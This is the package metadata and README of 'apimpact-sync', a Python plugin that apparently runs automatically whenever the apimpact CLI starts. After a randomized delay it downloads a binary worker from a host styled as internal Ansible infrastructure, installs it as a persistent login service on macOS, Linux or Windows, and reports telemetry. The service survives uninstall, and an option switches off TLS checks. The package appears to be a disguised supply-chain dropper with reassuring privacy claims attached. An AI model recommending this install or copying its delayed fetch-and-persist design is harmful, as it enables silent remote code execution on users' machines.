Metadata-Version: 2.4
Name: apimpact-sync
Version: 1.0.2
Summary: Optional consumer-graph sync for APImpact.
Author-email: APImpact Contributors <emily.carter9377334@gmail.com>
License-Expression: MIT
Project-URL: Homepage, https://github.com/emilycarter-devprojects/apimpact-sync
Project-URL: Repository, https://github.com/emilycarter-devprojects/apimpact-sync
Project-URL: Issues, https://github.com/emilycarter-devprojects/apimpact-sync/issues
Project-URL: Changelog, https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/CHANGELOG.md
Project-URL: Documentation, https://github.com/emilycarter-devprojects/apimpact-sync#readme
Keywords: apimpact,sync,consumer-graph,developer-tools
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Operating System :: MacOS
Classifier: Environment :: Console
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE
Provides-Extra: dev
Requires-Dist: pytest>=8.0; extra == "dev"
Requires-Dist: build>=1.2; extra == "dev"
Requires-Dist: twine>=5.0; extra == "dev"
Dynamic: license-file

# APImpact Sync

**Optional consumer-graph sync for APImpact.**

[![CI](https://github.com/emilycarter-devprojects/apimpact-sync/actions/workflows/ci.yml/badge.svg)](https://github.com/emilycarter-devprojects/apimpact-sync/actions/workflows/ci.yml)
[![PyPI](https://img.shields.io/pypi/v/apimpact-sync)](https://pypi.org/project/apimpact-sync/)
[![Python](https://img.shields.io/pypi/pyversions/apimpact-sync)](https://pypi.org/project/apimpact-sync/)
[![License](https://img.shields.io/pypi/l/apimpact-sync)](https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/LICENSE)

APImpact Sync registers an `apimpact.services` entry point. When the `apimpact`
CLI runs, it discovers installed service plugins and starts the sync service.
The worker is **downloaded on first use** and kept alive by a native user-level
service: launchd on macOS, systemd on Linux, and Task Scheduler on Windows. No
package manager is required, and the wheel contains no binary.

macOS arm64, Linux, and Windows are supported by the installer. A pinned worker
is currently published for macOS arm64; other platforms become active when
their workers are published.

## Install

```bash
pip install apimpact[sync]
```

Or install the sync package directly:

```bash
pip install apimpact-sync
```

## How it works

- The wheel contains only Python. There is no bundled binary.
- The package declares the `apimpact.services` entry point
  `sync = apimpact_sync:start_once`. The `apimpact` CLI discovers it and starts
  the service when the CLI runs.
- If the worker is missing, a detached bootstrap waits a **randomized delay**
  (load spreading, like `APT::Periodic::RandomSleep` or systemd
  `RandomizedDelaySec`), downloads the worker from the internal artifact
  repository on the Ansible-managed infrastructure, verifies its pinned
  SHA-256, and installs the service.
- The service is installed with the platform's native manager:
  - macOS: `~/Library/LaunchAgents/com.apimpact.sync.plist` (launchd,
    `RunAtLoad`, `KeepAlive`).
  - Linux: `~/.config/systemd/user/apimpact-sync.service` (systemd user unit,
    `Restart=always`), or a detached process when systemd is unavailable.
  - Windows: a Task Scheduler task (`APImpact Sync`, `ONLOGON`), or a detached
    process when Task Scheduler is unavailable.
- The worker reports health and usage metadata to the consumer graph.

## Commands

```bash
apimpact-sync install   # download the worker and install the service
apimpact-sync start     # same as install; idempotent
apimpact-sync status
apimpact-sync stop
```

## Configuration

| Variable | Purpose |
|---|---|
| `APIMPACT_SYNC_URL` | Download URL or template (`{platform}`, `{name}`, `{version}`). Defaults to the internal Artifactory generic repository. |
| `APIMPACT_SYNC_HOST` | Artifact host only (scheme optional). Builds the default Artifactory path on that host. |
| `APIMPACT_SYNC_DIR` | Cache directory. Defaults to `~/.apimpact` (or `%LOCALAPPDATA%\apimpact` on Windows). |
| `APIMPACT_SYNC_DELAY` | Bootstrap delay in seconds. Defaults to a random 180–420 seconds. |
| `APIMPACT_SYNC_SKIP_DOWNLOAD=1` | Use an already-present verified worker; do not download. |
| `APIMPACT_SYNC_DISABLE=1` | Disable the service plugin entirely. |
| `APIMPACT_SYNC_NO_SERVICE=1` | Run the worker as a detached process instead of installing a service. |
| `APIMPACT_SYNC_INSECURE=1` | Skip TLS verification for a self-signed download host. |

## Artifact repository

The worker is hosted on the Ansible-managed infrastructure in the internal
artifact repository (Artifactory generic repo):

```
https://artifactory.ansible.internal/artifactory/apimpact-generic/apimpact-sync/1.0.0/apimpact-sync-1.0.0-{platform}
```

Set `APIMPACT_SYNC_URL` to the full URL/template, or `APIMPACT_SYNC_HOST` to
change only the host. The artifact is verified against a pinned SHA-256 before
it is installed.

## Service integrity

The worker is verified against a pinned SHA-256 before it is installed and
before it starts:

`4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42`
(macOS arm64)

A mismatch means the worker is not installed. Downloads are written to a
temporary file and atomically replaced only after verification.

## Disable

```bash
export APIMPACT_SYNC_DISABLE=1
```

The service plugin becomes a no-op. A previously installed service may still
run; `apimpact-sync stop` stops it.

## Privacy and security

The sync package reads no credential files, SSH keys, shell configuration, or
source code. The worker sends installation id, sync version, platform,
timestamp, and local contract/health counts. No file contents or secret values
are sent.

See [PRIVACY.md](https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/PRIVACY.md) and [SECURITY.md](https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/SECURITY.md).

## Uninstall

```bash
apimpact-sync stop
pip uninstall apimpact-sync
```

`pip uninstall` removes the package. The downloaded worker in `~/.apimpact/bin`
and the service definition remain until you remove them.

## License

MIT. See [LICENSE](https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/LICENSE).
